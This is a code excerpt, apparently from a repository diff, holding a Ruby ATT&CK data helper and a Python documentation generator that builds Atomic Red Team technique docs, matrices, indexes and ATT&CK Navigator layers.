||||
'lateral-movement',
|
||||
'collection',
|
||||
'exfiltration',
|
||||
'command-and-control',
|
||||
'impact'
|
||||
]
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the technique identifier (T1234) for a Technique object
|
||||
#
|
||||
def technique_identifier_for_technique(technique)
|
||||
technique.fetch('external_references', []).find do |refs|
|
||||
refs['source_name'] == 'mitre-attack'
|
||||
end['external_id'].upcase
|
||||
end
|
||||
|
||||
#
|
||||
# Returns a Technique object given a technique identifier (T1234)
|
||||
#
|
||||
def technique_info(technique_id)
|
||||
techniques.find do |item|
|
||||
item.fetch('external_references', []).find do |references|
|
||||
references['external_id'] == technique_id.upcase
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the ATT&CK Matrix as a 2D array, in order by `ordered_tactics`
|
||||
#
|
||||
def ordered_tactic_to_technique_matrix(only_platform: /.*/)
|
||||
all_techniques = techniques_by_tactic(only_platform: only_platform)
|
||||
|
||||
# make an 2d array of our techniques in the order our tactics appear
|
||||
all_techniques_in_tactic_order = []
|
||||
ordered_tactics.each do |tactic|
|
||||
all_techniques_in_tactic_order << all_techniques[tactic]
|
||||
end
|
||||
|
||||
# figure out the max number of techniques any one tactic has
|
||||
max_techniques = all_techniques_in_tactic_order.collect(&:count).max
|
||||
|
||||
# extend each array of techniques to that length
|
||||
all_techniques_in_tactic_order.each {|techniques| techniques.concat(Array.new(max_techniques - techniques.count, nil))}
|
||||
|
||||
# transpose to give us the data in columnar format
|
||||
all_techniques_in_tactic_order.transpose
|
||||
end
|
||||
|
||||
#
|
||||
# Returns a map of all [ ATT&CK Tactic name ] => [ List of ATT&CK techniques associated with that tactic]
|
||||
#
|
||||
def techniques_by_tactic(only_platform: /.*/)
|
||||
techniques_by_tactic = Hash.new {|h, k| h[k] = []}
|
||||
techniques.each do |technique|
|
||||
next unless !technique['x_mitre_platforms'].nil?
|
||||
next unless technique['x_mitre_platforms'].any? { |platform| platform.downcase.sub(" ", "-") =~ only_platform }
|
||||
next unless technique.fetch('revoked', false) == false
|
||||
next unless technique.fetch('x_mitre_deprecated', false) == false
|
||||
|
||||
technique.fetch('kill_chain_phases', []).select { |phase| phase['kill_chain_name'] == 'mitre-attack' }.each do |tactic|
|
||||
techniques_by_tactic[tactic.fetch('phase_name')] << technique
|
||||
end
|
||||
end
|
||||
techniques_by_tactic
|
||||
end
|
||||
|
||||
#
|
||||
# Returns a list of all ATT&CK techniques
|
||||
#
|
||||
def techniques
|
||||
return @techniques unless @techniques.nil?
|
||||
|
||||
# pull out the attack pattern objects
|
||||
@techniques = attack_stix.fetch("objects").select do |item|
|
||||
item.fetch('type') == 'attack-pattern' && item.fetch('external_references', []).select do |references|
|
||||
references['source_name'] == 'mitre-attack'
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
#
|
||||
# Returns the complete ATT&CK STIX collection parsed into a Hash
|
||||
#
|
||||
def attack_stix
|
||||
@attack_stix ||= begin
|
||||
# load the full attack library
|
||||
local_attack_json_to_try = "#{File.dirname(__FILE__)}/enterprise-attack.json"
|
||||
if File.exist? local_attack_json_to_try
|
||||
JSON.parse File.read(local_attack_json_to_try)
|
||||
else
|
||||
JSON.parse open('https://raw.githubusercontent.com/mitre/cti/master/enterprise-attack/enterprise-attack.json').read
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -1,729 +0,0 @@
|
||||
"""
|
||||
Atomic Red Team documentation generator.
|
||||
|
||||
This module generates all documentation including:
|
||||
- Individual technique markdown files
|
||||
- ATT&CK matrices (markdown)
|
||||
- Platform-specific indexes (markdown, CSV, YAML)
|
||||
- ATT&CK Navigator layers (JSON)
|
||||
"""
|
||||
|
||||
import csv
|
||||
import json
|
||||
import re
|
||||
from concurrent.futures import ProcessPoolExecutor, as_completed
|
||||
from io import StringIO
|
||||
from pathlib import Path
|
||||
from typing import Dict, List, Optional, Pattern, Tuple
|
||||
|
||||
from atomic_red_team.attack_api import ATTACK_API
|
||||
from atomic_red_team.utils import ATOMIC_RED_TEAM, AtomicRedTeam
|
||||
import yaml
|
||||
|
||||
# Platform configurations for index generation
|
||||
PLATFORM_CONFIGS = {
|
||||
"all": {"pattern": re.compile(r".*"), "attack_pattern": re.compile(r".*")},
|
||||
"windows": {
|
||||
"pattern": re.compile(r"windows"),
|
||||
"attack_pattern": re.compile(r"windows"),
|
||||
},
|
||||
"macos": {
|
||||
"pattern": re.compile(r"macos"),
|
||||
"attack_pattern": re.compile(r"windows"),
|
||||
},
|
||||
"linux": {
|
||||
"pattern": re.compile(r"linux"),
|
||||
"attack_pattern": re.compile(r"windows"),
|
||||
},
|
||||
"iaas": {"pattern": re.compile(r"iaas"), "attack_pattern": re.compile(r"windows")},
|
||||
"containers": {
|
||||
"pattern": re.compile(r"containers"),
|
||||
"attack_pattern": re.compile(r"windows"),
|
||||
},
|
||||
"office-365": {
|
||||
"pattern": re.compile(r"office-365"),
|
||||
"attack_pattern": re.compile(r"office"),
|
||||
},
|
||||
"google-workspace": {
|
||||
"pattern": re.compile(r"google-workspace"),
|
||||
"attack_pattern": re.compile(r"office"),
|
||||
},
|
||||
"azure-ad": {
|
||||
"pattern": re.compile(r"azure-ad"),
|
||||
"attack_pattern": re.compile(r"identity"),
|
||||
},
|
||||
"esxi": {"pattern": re.compile(r"esxi"), "attack_pattern": re.compile(r"esxi")},
|
||||
"iaas:gcp": {
|
||||
"pattern": re.compile(r"iaas:gcp"),
|
||||
"attack_pattern": re.compile(r".*"),
|
||||
},
|
||||
"iaas:azure": {
|
||||
"pattern": re.compile(r"iaas:azure"),
|
||||
"attack_pattern": re.compile(r".*"),
|
||||
},
|
||||
"iaas:aws": {
|
||||
"pattern": re.compile(r"iaas:aws"),
|
||||
"attack_pattern": re.compile(r".*"),
|
||||
},
|
||||
}
|
||||
|
||||
|
||||
def _generate_technique_doc_worker(
|
||||
args: Tuple[dict, str],
|
||||
) -> Tuple[str, bool, Optional[str]]:
|
||||
"""Standalone function for ProcessPoolExecutor to generate a single technique doc."""
|
||||
atomic_yaml, atomics_directory = args
|
||||
try:
|
||||
|
||||
art = AtomicRedTeam(atomics_directory=atomics_directory)
|
||||
yaml_path = atomic_yaml["atomic_yaml_path"]
|
||||
md_path = yaml_path.replace(".yaml", ".md")
|
||||
technique_id = atomic_yaml.get("attack_technique", "").upper()
|
||||
art.generate_technique_docs(technique_id, md_path)
|
||||
return (yaml_path, True, None)
|
||||
except Exception as ex:
|
||||
return (atomic_yaml.get("atomic_yaml_path", "unknown"), False, str(ex))
|
||||
|
||||
|
||||
def _generate_matrix_worker(args: Tuple[str, str, str, Optional[str]]) -> None:
|
||||
"""Standalone function for ProcessPoolExecutor to generate a matrix."""
|
||||
title_prefix, output_path, atomics_directory, platform_pattern = args
|
||||
import importlib
|
||||
from pathlib import Path
|
||||
|
||||
doc_generator = importlib.import_module('atomic_red_team.doc_generator')
|
||||
utils = importlib.import_module('atomic_red_team.utils')
|
||||
|
||||
art = utils.AtomicRedTeam(atomics_directory=atomics_directory)
|
||||
docs = doc_generator.AtomicRedTeamDocs(atomic_red_team=art)
|
||||
pattern = re.compile(platform_pattern) if platform_pattern else re.compile(r".*")
|
||||
docs.generate_attack_matrix(title_prefix, Path(output_path), only_platform=pattern)
|
||||
|
||||
|
||||
def _generate_index_worker(
|
||||
args: Tuple[str, str, str, Optional[str], Optional[str]],
|
||||
) -> None:
|
||||
"""Standalone function for ProcessPoolExecutor to generate a markdown index."""
|
||||
(
|
||||
title_prefix,
|
||||
output_path,
|
||||
atomics_directory,
|
||||
only_platform_pattern,
|
||||
attack_platform_pattern,
|
||||
) = args
|
||||
import importlib
|
||||
from pathlib import Path
|
||||
|
||||
doc_generator = importlib.import_module('atomic_red_team.doc_generator')
|
||||
utils = importlib.import_module('atomic_red_team.utils')
|
||||
|
||||
art = utils.AtomicRedTeam(atomics_directory=atomics_directory)
|
||||
docs = doc_generator.AtomicRedTeamDocs(atomic_red_team=art)
|
||||
only_platform = (
|
||||
re.compile(only_platform_pattern)
|
||||
if only_platform_pattern
|
||||
else re.compile(r".*")
|
||||
)
|
||||
attack_platform = (
|
||||
re.compile(attack_platform_pattern)
|
||||
if attack_platform_pattern
|
||||
else re.compile(r".*")
|
||||
)
|
||||
docs.generate_index(
|
||||
title_prefix,
|
||||
Path(output_path),
|
||||
only_platform=only_platform,
|
||||
attack_platform=attack_platform,
|
||||
)
|
||||
|
||||
|
||||
def _generate_index_csv_worker(
|
||||
args: Tuple[str, str, Optional[str], Optional[str]],
|
||||
) -> None:
|
||||
"""Standalone function for ProcessPoolExecutor to generate a CSV index."""
|
||||
output_path, atomics_directory, only_platform_pattern, attack_platform_pattern = (
|
||||
args
|
||||
)
|
||||
import importlib
|
||||
from pathlib import Path
|
||||
|
||||
doc_generator = importlib.import_module('atomic_red_team.doc_generator')
|
||||
utils = importlib.import_module('atomic_red_team.utils')
|
||||
|
||||
art = utils.AtomicRedTeam(atomics_directory=atomics_directory)
|
||||
docs = doc_generator.AtomicRedTeamDocs(atomic_red_team=art)
|
||||
only_platform = (
|
||||
re.compile(only_platform_pattern)
|
||||
if only_platform_pattern
|
||||
else re.compile(r".*")
|
||||
)
|
||||
attack_platform = (
|
||||
re.compile(attack_platform_pattern)
|
||||
if attack_platform_pattern
|
||||
else re.compile(r".*")
|
||||
)
|
||||
docs.generate_index_csv(
|
||||
Path(output_path), only_platform=only_platform, attack_platform=attack_platform
|
||||
)
|
||||
|
||||
|
||||
def _generate_yaml_index_worker(args: Tuple[str, str]) -> None:
|
||||
"""Standalone function for ProcessPoolExecutor to generate a YAML index."""
|
||||
output_path, atomics_directory = args
|
||||
import importlib
|
||||
from pathlib import Path
|
||||
|
||||
doc_generator = importlib.import_module('atomic_red_team.doc_generator')
|
||||
utils = importlib.import_module('atomic_red_team.utils')
|
||||
|
||||
art = utils.AtomicRedTeam(atomics_directory=atomics_directory)
|
||||
docs = doc_generator.AtomicRedTeamDocs(atomic_red_team=art)
|
||||
docs.generate_yaml_index(Path(output_path))
|
||||
|
||||
|
||||
def _generate_yaml_index_by_platform_worker(args: Tuple[str, str, str]) -> None:
|
||||
"""Standalone function for ProcessPoolExecutor to generate a platform-specific YAML index."""
|
||||
output_path, atomics_directory, platform = args
|
||||
import importlib
|
||||
from pathlib import Path
|
||||
|
||||
doc_generator = importlib.import_module('atomic_red_team.doc_generator')
|
||||
utils = importlib.import_module('atomic_red_team.utils')
|
||||
|
||||
art = utils.AtomicRedTeam(atomics_directory=atomics_directory)
|
||||
docs = doc_generator.AtomicRedTeamDocs(atomic_red_team=art)
|
||||
docs.generate_yaml_index_by_platform(Path(output_path), platform)
|
||||
|
||||
|
||||
class AtomicRedTeamDocs:
|
||||
"""
|
||||
Documentation generator for Atomic Red Team.
|
||||
|
||||
Generates all documentation including technique docs, indexes, matrices,
|
||||
and ATT&CK Navigator layers.
|
||||
"""
|
||||
|
||||
def __init__(self, atomic_red_team: Optional[AtomicRedTeam] = None):
|
||||
"""Initialize the documentation generator."""
|
||||
self.atomic_red_team = atomic_red_team or ATOMIC_RED_TEAM
|
||||
self.atomics_directory = self.atomic_red_team.atomics_directory
|
||||
|
||||
def generate_all_the_docs(self) -> Tuple[List[str], List[str]]:
|
||||
"""
|
||||
Generate all documentation used by Atomic Red Team.
|
||||
|
||||
Returns:
|
||||
Tuple of (successful_paths, failed_paths)
|
||||
"""
|
||||
oks = []
|
||||
fails = []
|
||||
|
||||
# Generate individual technique docs concurrently
|
||||
with ProcessPoolExecutor() as executor:
|
||||
future_to_yaml = {
|
||||
executor.submit(
|
||||
_generate_technique_doc_worker,
|
||||
(atomic_yaml, self.atomics_directory),
|
||||
): atomic_yaml
|
||||
for atomic_yaml in self.atomic_red_team.atomic_tests
|
||||
}
|
||||
|
||||
for future in as_completed(future_to_yaml):
|
||||
yaml_path, success, error = future.result()
|
||||
if success:
|
||||
oks.append(yaml_path)
|
||||
else:
|
||||
fails.append(yaml_path)
|
||||
print(f"✗ {yaml_path}: {error}")
|
||||
|
||||
print(f"\nGenerated docs for {len(oks)} techniques, {len(fails)} failures")
|
||||
|
||||
# Prepare directories
|
||||
indexes_dir = Path(self.atomics_directory) / "Indexes"
|
||||
matrices_dir = indexes_dir / "Matrices"
|
||||
md_indexes_dir = indexes_dir / "Indexes-Markdown"
|
||||
csv_indexes_dir = indexes_dir / "Indexes-CSV"
|
||||
layers_dir = indexes_dir / "Attack-Navigator-Layers"
|
||||
|
||||
for dir_path in [matrices_dir, md_indexes_dir, csv_indexes_dir, layers_dir]:
|
||||
dir_path.mkdir(parents=True, exist_ok=True)
|
||||
|
||||
print("\nGenerating indexes and matrices concurrently...")
|
||||
|
||||
# Prepare all index generation tasks
|
||||
tasks = []
|
||||
|
||||
# ATT&CK matrices
|
||||
tasks.append(("matrix", _generate_matrix_worker, ("All", str(matrices_dir / "matrix.md"), self.atomics_directory, None)))
|
||||
tasks.append(("windows-matrix", _generate_matrix_worker, ("Windows", str(matrices_dir / "windows-matrix.md"), self.atomics_directory, r"windows")))
|
||||
tasks.append(("macos-matrix", _generate_matrix_worker, ("macOS", str(matrices_dir / "macos-matrix.md"), self.atomics_directory, r"macos")))
|
||||
tasks.append(("linux-matrix", _generate_matrix_worker, ("Linux", str(matrices_dir / "linux-matrix.md"), self.atomics_directory, r"linux")))
|
||||
tasks.append(("esxi-matrix", _generate_matrix_worker, ("ESXi", str(matrices_dir / "esxi-matrix.md"), self.atomics_directory, r"esxi")))
|
||||
|
||||
# Markdown indexes
|
||||
tasks.append(("md-index-all", _generate_index_worker, ("All", str(md_indexes_dir / "index.md"), self.atomics_directory, None, None)))
|
||||
tasks.append(("md-index-windows", _generate_index_worker, ("Windows", str(md_indexes_dir / "windows-index.md"), self.atomics_directory, r"windows", r"windows")))
|
||||
tasks.append(("md-index-macos", _generate_index_worker, ("macOS", str(md_indexes_dir / "macos-index.md"), self.atomics_directory, r"macos", r"windows")))
|
||||
tasks.append(("md-index-linux", _generate_index_worker, ("Linux", str(md_indexes_dir / "linux-index.md"), self.atomics_directory, r"linux", r"windows")))
|
||||
tasks.append(("md-index-iaas", _generate_index_worker, ("IaaS", str(md_indexes_dir / "iaas-index.md"), self.atomics_directory, r"iaas", r"windows")))
|
||||
tasks.append(("md-index-containers", _generate_index_worker, ("Containers", str(md_indexes_dir / "containers-index.md"), self.atomics_directory, r"containers", r"windows")))
|
||||
tasks.append(("md-index-office365", _generate_index_worker, ("Office 365", str(md_indexes_dir / "office-365-index.md"), self.atomics_directory, r"office-365", r"office")))
|
||||
tasks.append(("md-index-google-workspace", _generate_index_worker, ("Google Workspace", str(md_indexes_dir / "google-workspace-index.md"), self.atomics_directory, r"google-workspace", r"office")))
|
||||
tasks.append(("md-index-azure-ad", _generate_index_worker, ("Azure AD", str(md_indexes_dir / "azure-ad-index.md"), self.atomics_directory, r"azure-ad", r"identity")))
|
||||
tasks.append(("md-index-esxi", _generate_index_worker, ("ESXi", str(md_indexes_dir / "esxi-index.md"), self.atomics_directory, r"esxi", r"esxi")))
|
||||
|
||||
# CSV indexes
|
||||
tasks.append(("csv-index-all", _generate_index_csv_worker, (str(csv_indexes_dir / "index.csv"), self.atomics_directory, None, None)))
|
||||
tasks.append(("csv-index-windows", _generate_index_csv_worker, (str(csv_indexes_dir / "windows-index.csv"), self.atomics_directory, r"windows", r"windows")))
|
||||
tasks.append(("csv-index-macos", _generate_index_csv_worker, (str(csv_indexes_dir / "macos-index.csv"), self.atomics_directory, r"macos", r"macos")))
|
||||
tasks.append(("csv-index-linux", _generate_index_csv_worker, (str(csv_indexes_dir / "linux-index.csv"), self.atomics_directory, r"linux", r"linux")))
|
||||
tasks.append(("csv-index-iaas", _generate_index_csv_worker, (str(csv_indexes_dir / "iaas-index.csv"), self.atomics_directory, r"iaas", r"iaas")))
|
||||
tasks.append(("csv-index-containers", _generate_index_csv_worker, (str(csv_indexes_dir / "containers-index.csv"), self.atomics_directory, r"containers", r"containers")))
|
||||
tasks.append(("csv-index-office365", _generate_index_csv_worker, (str(csv_indexes_dir / "office-365-index.csv"), self.atomics_directory, r"office-365", r"office")))
|
||||
tasks.append(("csv-index-google-workspace", _generate_index_csv_worker, (str(csv_indexes_dir / "google-workspace-index.csv"), self.atomics_directory, r"google-workspace", r"identity")))
|
||||
tasks.append(("csv-index-azure-ad", _generate_index_csv_worker, (str(csv_indexes_dir / "azure-ad-index.csv"), self.atomics_directory, r"azure-ad", r"identity")))
|
||||
tasks.append(("csv-index-esxi", _generate_index_csv_worker, (str(csv_indexes_dir / "esxi-index.csv"), self.atomics_directory, r"esxi", r"esxi")))
|
||||
|
||||
# YAML indexes
|
||||
tasks.append(("yaml-index-all", _generate_yaml_index_worker, (str(indexes_dir / "index.yaml"), self.atomics_directory)))
|
||||
for platform in ["windows", "macos", "linux", "office-365", "azure-ad", "google-workspace", "iaas", "containers", "iaas:gcp", "iaas:azure", "iaas:aws", "esxi"]:
|
||||
filename = f"{platform.replace(':', '_')}-index.yaml"
|
||||
tasks.append((f"yaml-index-{platform}", _generate_yaml_index_by_platform_worker, (str(indexes_dir / filename), self.atomics_directory, platform)))
|
||||
|
||||
# Generate all indexes concurrently
|
||||
with ProcessPoolExecutor() as executor:
|
||||
future_to_task = {executor.submit(task[1], task[2]): task[0] for task in tasks}
|
||||
|
||||
for future in as_completed(future_to_task):
|
||||
task_name = future_to_task[future]
|
||||
try:
|
||||
future.result()
|
||||
except Exception as ex:
|
||||
print(f"✗ Error generating {task_name}: {ex}")
|
||||
|
||||
# Generate ATT&CK Navigator layers (this is already optimized internally)
|
||||
print("\nGenerating ATT&CK Navigator layers...")
|
||||
self.generate_navigator_layers(layers_dir)
|
||||
|
||||
return oks, fails
|
||||
|
||||
def generate_attack_matrix(
|
||||
self,
|
||||
title_prefix: str,
|
||||
output_path: Path,
|
||||
only_platform: Pattern = re.compile(r".*"),
|
||||
) -> None:
|
||||
"""Generate a Markdown ATT&CK matrix."""
|
||||
result = f"# {title_prefix} Atomic Tests by ATT&CK Tactic & Technique\n"
|
||||
result += f"| {' | '.join(ATTACK_API.ordered_tactics)} |\n"
|
||||
result += f"|{'-----|' * len(ATTACK_API.ordered_tactics)}\n"
|
||||
|
||||
matrix = ATTACK_API.ordered_tactic_to_technique_matrix(
|
||||
only_platform=only_platform
|
||||
)
|
||||
for row in matrix:
|
||||
row_values = []
|
||||
for technique in row:
|
||||
if technique:
|
||||
row_values.append(
|
||||
self.atomic_red_team.github_link_to_technique(
|
||||
technique,
|
||||
include_identifier=False,
|
||||
only_platform=only_platform,
|
||||
)
|
||||
)
|
||||
else:
|
||||
row_values.append("")
|
||||
result += f"| {' | '.join(row_values)} |\n"
|
||||
|
||||
output_path.write_text(result, encoding="utf-8")
|
||||
print(f"Generated ATT&CK matrix at {output_path}")
|
||||
|
||||
def generate_index(
|
||||
self,
|
||||
title_prefix: str,
|
||||
output_path: Path,
|
||||
only_platform: Pattern = re.compile(r".*"),
|
||||
attack_platform: Pattern = re.compile(r".*"),
|
||||
) -> None:
|
||||
"""Generate a Markdown index of ATT&CK Tactic -> Technique -> Atomic Tests."""
|
||||
result = f"# {title_prefix} Atomic Tests by ATT&CK Tactic & Technique\n"
|
||||
|
||||
techniques_by_tactic = ATTACK_API.techniques_by_tactic(
|
||||
only_platform=attack_platform
|
||||
)
|
||||
for tactic, techniques in techniques_by_tactic.items():
|
||||
result += f"# {tactic}\n"
|
||||
for technique in techniques:
|
||||
result += f"- {self.atomic_red_team.github_link_to_technique(technique, include_identifier=True, only_platform=only_platform)}\n"
|
||||
|
||||
atomic_tests = self.atomic_red_team.atomic_tests_for_technique(
|
||||
technique
|
||||
)
|
||||
for i, atomic_test in enumerate(atomic_tests):
|
||||
platforms = atomic_test.get("supported_platforms", [])
|
||||
if any(only_platform.match(p.lower()) for p in platforms):
|
||||
result += f" - Atomic Test #{i + 1}: {atomic_test['name']} [{', '.join(platforms)}]\n"
|
||||
|
||||
result += "\n"
|
||||
|
||||
output_path.write_text(result, encoding="utf-8")
|
||||
print(f"Generated Atomic Red Team index at {output_path}")
|
||||
|
||||
def generate_index_csv(
|
||||
self,
|
||||
output_path: Path,
|
||||
only_platform: Pattern = re.compile(r".*"),
|
||||
attack_platform: Pattern = re.compile(r".*"),
|
||||
) -> None:
|
||||
"""Generate a CSV index."""
|
||||
output = StringIO(newline="")
|
||||
writer = csv.writer(output, lineterminator="\n")
|
||||
writer.writerow(
|
||||
[
|
||||
"Tactic",
|
||||
"Technique #",
|
||||
"Technique Name",
|
||||
"Test #",
|
||||
"Test Name",
|
||||
"Test GUID",
|
||||
"Executor Name",
|
||||
]
|
||||
)
|
||||
|
||||
techniques_by_tactic = ATTACK_API.techniques_by_tactic(
|
||||
only_platform=attack_platform
|
||||
)
|
||||
for tactic, techniques in techniques_by_tactic.items():
|
||||
for technique in techniques:
|
||||
tech_id = ATTACK_API.technique_identifier_for_technique(technique)
|
||||
|
||||
# Get atomic YAML to use display_name (which has full technique name for sub-techniques)
|
||||
atomic_yaml = self.atomic_red_team._get_atomic_by_id(tech_id)
|
||||
if not atomic_yaml:
|
||||
continue
|
||||
|
||||
tech_name = atomic_yaml.get("display_name", technique.get("name", ""))
|
||||
|
||||
atomic_tests = self.atomic_red_team.atomic_tests_for_technique(
|
||||
technique
|
||||
)
|
||||
for i, atomic_test in enumerate(atomic_tests):
|
||||
platforms = atomic_test.get("supported_platforms", [])
|
||||
if any(only_platform.match(p.lower()) for p in platforms):
|
||||
writer.writerow(
|
||||
[
|
||||
tactic,
|
||||
tech_id,
|
||||
tech_name,
|
||||
i + 1,
|
||||
atomic_test.get("name", ""),
|
||||
atomic_test.get("auto_generated_guid", ""),
|
||||
atomic_test.get("executor", {}).get("name", ""),
|
||||
]
|
||||
)
|
||||
|
||||
output_path.write_text(output.getvalue(), encoding="utf-8")
|
||||
print(f"Generated Atomic Red Team CSV index at {output_path}")
|
||||
|
||||
def generate_yaml_index(self, output_path: Path) -> None:
|
||||
"""Generate a master YAML index."""
|
||||
result: Dict[str, dict] = {}
|
||||
|
||||
techniques_by_tactic = ATTACK_API.techniques_by_tactic()
|
||||
for tactic, techniques in techniques_by_tactic.items():
|
||||
result[tactic] = {}
|
||||
for technique in techniques:
|
||||
tech_id = ATTACK_API.technique_identifier_for_technique(technique)
|
||||
|
||||
# Create a copy of the technique and update name with display_name from YAML
|
||||
technique_copy = json.loads(json.dumps(technique)) # Deep copy
|
||||
atomic_yaml = self.atomic_red_team._get_atomic_by_id(tech_id)
|
||||
if atomic_yaml and atomic_yaml.get("display_name"):
|
||||
technique_copy["name"] = atomic_yaml["display_name"]
|
||||
|
||||
result[tactic][tech_id] = {
|
||||
"technique": technique_copy,
|
||||
"atomic_tests": self.atomic_red_team.atomic_tests_for_technique(
|
||||
technique
|
||||
),
|
||||
}
|
||||
|
||||
# Convert through JSON to eliminate YAML aliases (matching Ruby behavior)
|
||||
# Use explicit_start=True to add '---' at the beginning like Ruby
|
||||
yaml_content = yaml.dump(
|
||||
json.loads(json.dumps(result)),
|
||||
default_flow_style=False,
|
||||
allow_unicode=True,
|
||||
sort_keys=False,
|
||||
explicit_start=True,
|
||||
)
|
||||
output_path.write_text(yaml_content, encoding="utf-8")
|
||||
print(f"Generated Atomic Red Team YAML index at {output_path}")
|
||||
|
||||
def generate_yaml_index_by_platform(self, output_path: Path, platform: str) -> None:
|
||||
"""Generate a platform-specific YAML index."""
|
||||
result: Dict[str, dict] = {}
|
||||
|
||||
techniques_by_tactic = ATTACK_API.techniques_by_tactic()
|
||||
for tactic, techniques in techniques_by_tactic.items():
|
||||
result[tactic] = {}
|
||||
for technique in techniques:
|
||||
tech_id = ATTACK_API.technique_identifier_for_technique(technique)
|
||||
|
||||
# Create a copy of the technique and update name with display_name from YAML
|
||||
technique_copy = json.loads(json.dumps(technique)) # Deep copy
|
||||
atomic_yaml = self.atomic_red_team._get_atomic_by_id(tech_id)
|
||||
if atomic_yaml and atomic_yaml.get("display_name"):
|
||||
technique_copy["name"] = atomic_yaml["display_name"]
|
||||
|
||||
result[tactic][tech_id] = {
|
||||
"technique": technique_copy,
|
||||
"atomic_tests": self.atomic_red_team.atomic_tests_for_technique_by_platform(
|
||||
technique, platform
|
||||
),
|
||||
}
|
||||
|
||||
yaml_content = yaml.dump(
|
||||
json.loads(json.dumps(result)),
|
||||
default_flow_style=False,
|
||||
allow_unicode=True,
|
||||
sort_keys=False,
|
||||
explicit_start=True,
|
||||
)
|
||||
output_path.write_text(yaml_content, encoding="utf-8")
|
||||
print(f"Generated Atomic Red Team YAML index at {output_path}")
|
||||
|
||||
def _get_layer(self, techniques: List[dict], layer_name: str) -> dict:
|
||||
"""Create an ATT&CK Navigator layer structure."""
|
||||
filters = {}
|
||||
if "Windows" in layer_name:
|
||||
filters = {"platforms": ["Windows"]}
|
||||
elif "macOS" in layer_name:
|
||||
filters = {"platforms": ["macOS"]}
|
||||
elif "Linux" in layer_name:
|
||||
filters = {"platforms": ["Linux"]}
|
||||
|
||||
return {
|
||||
"name": layer_name,
|
||||
"versions": {"attack": "16", "navigator": "5.1.0", "layer": "4.5"},
|
||||
"description": f"{layer_name} MITRE ATT&CK Navigator Layer",
|
||||
"domain": "enterprise-attack",
|
||||
"filters": filters,
|
||||
"gradient": {
|
||||
"colors": ["#ffffff", "#ce232e"],
|
||||
"minValue": 0,
|
||||
"maxValue": 10,
|
||||
},
|
||||
"legendItems": [
|
||||
{"label": "10 or more tests", "color": "#ce232e"},
|
||||
{"label": "1 or more tests", "color": "#ffffff"},
|
||||
],
|
||||
"techniques": techniques,
|
||||
}
|
||||
|
||||
def _update_techniques_list(
|
||||
self,
|
||||
current_technique: dict,
|
||||
current_technique_parent: dict,
|
||||
techniques_list: List[dict],
|
||||
atomic_yaml: dict,
|
||||
comments: bool,
|
||||
) -> None:
|
||||
"""Update the techniques list with a new technique."""
|
||||
tech_id = atomic_yaml.get("attack_technique", "")
|
||||
|
||||
if "." not in tech_id:
|
||||
# This is a parent technique
|
||||
tech_parent = next(
|
||||
(
|
||||
t
|
||||
for t in techniques_list
|
||||
if t["techniqueID"] == tech_id.split(".")[0]
|
||||
),
|
||||
None,
|
||||
)
|
||||
if tech_parent:
|
||||
tech_parent["score"] += current_technique["score"]
|
||||
if comments:
|
||||
tech_parent["comment"] = current_technique.get("comment", "")
|
||||
else:
|
||||
if not comments:
|
||||
current_technique.pop("comment", None)
|
||||
techniques_list.append(current_technique)
|
||||
else:
|
||||
# This is a sub-technique
|
||||
parent_id = tech_id.split(".")[0]
|
||||
tech_parent = next(
|
||||
(t for t in techniques_list if t["techniqueID"] == parent_id), None
|
||||
)
|
||||
if tech_parent:
|
||||
tech_parent["score"] += current_technique["score"]
|
||||
else:
|
||||
current_technique_parent["score"] += current_technique["score"]
|
||||
techniques_list.append(current_technique_parent)
|
||||
|
||||
if not comments:
|
||||
current_technique.pop("comment", None)
|
||||
techniques_list.append(current_technique)
|
||||
|
||||
def generate_navigator_layers(self, output_dir: Path) -> None:
|
||||
"""Generate all ATT&CK Navigator layers."""
|
||||
# Initialize technique lists for each platform
|
||||
platforms_data = {
|
||||
"all": [],
|
||||
"windows": [],
|
||||
"macos": [],
|
||||
"linux": [],
|
||||
"iaas": [],
|
||||
"iaas_aws": [],
|
||||
"iaas_azure": [],
|
||||
"iaas_gcp": [],
|
||||
"containers": [],
|
||||
"google_workspace": [],
|
||||
"azure_ad": [],
|
||||
"office_365": [],
|
||||
"esxi": [],
|
||||
}
|
||||
|
||||
platform_patterns = {
|
||||
"windows": re.compile(r"windows", re.I),
|
||||
"macos": re.compile(r"macos", re.I),
|
||||
"linux": re.compile(r"linux", re.I),
|
||||
"iaas": re.compile(r"^iaas", re.I),
|
||||
"iaas_aws": re.compile(r"^iaas:aws", re.I),
|
||||
"iaas_azure": re.compile(r"^iaas:azure", re.I),
|
||||
"iaas_gcp": re.compile(r"^iaas:gcp", re.I),
|
||||
"containers": re.compile(r"^containers", re.I),
|
||||
"google_workspace": re.compile(r"^google-workspace", re.I),
|
||||
"azure_ad": re.compile(r"^azure-ad", re.I),
|
||||
"office_365": re.compile(r"^office-365", re.I),
|
||||
"esxi": re.compile(r"^esxi", re.I),
|
||||
}
|
||||
|
||||
for atomic_yaml in self.atomic_red_team.atomic_tests:
|
||||
tech_id = atomic_yaml.get("attack_technique", "")
|
||||
base_technique = {
|
||||
"techniqueID": tech_id,
|
||||
"score": 0,
|
||||
"enabled": True,
|
||||
"comment": "\n",
|
||||
"links": [
|
||||
{
|
||||
"label": "View Atomic",
|
||||
"url": f"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/{tech_id}/{tech_id}.md",
|
||||
}
|
||||
],
|
||||
}
|
||||
|
||||
base_parent = {
|
||||
"techniqueID": tech_id.split(".")[0],
|
||||
"score": 0,
|
||||
"enabled": True,
|
||||
"links": [
|
||||
{
|
||||
"label": "View Atomic",
|
||||
"url": f"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/{tech_id.split('.')[0]}/{tech_id.split('.')[0]}.md",
|
||||
}
|
||||
],
|
||||
}
|
||||
|
||||
# Create platform-specific technique copies
|
||||
techniques = {
|
||||
key: {**base_technique, "comment": "\n"} for key in platforms_data
|
||||
}
|
||||
technique_parents = {key: {**base_parent} for key in platforms_data}
|
||||
has_tests = {key: False for key in platforms_data}
|
||||
|
||||
for atomic in atomic_yaml.get("atomic_tests", []):
|
||||
techniques["all"]["score"] += 1
|
||||
supported_platforms = atomic.get("supported_platforms", [])
|
||||
|
||||
for platform_key, pattern in platform_patterns.items():
|
||||
if any(pattern.match(p) for p in supported_platforms):
|
||||
has_tests[platform_key] = True
|
||||
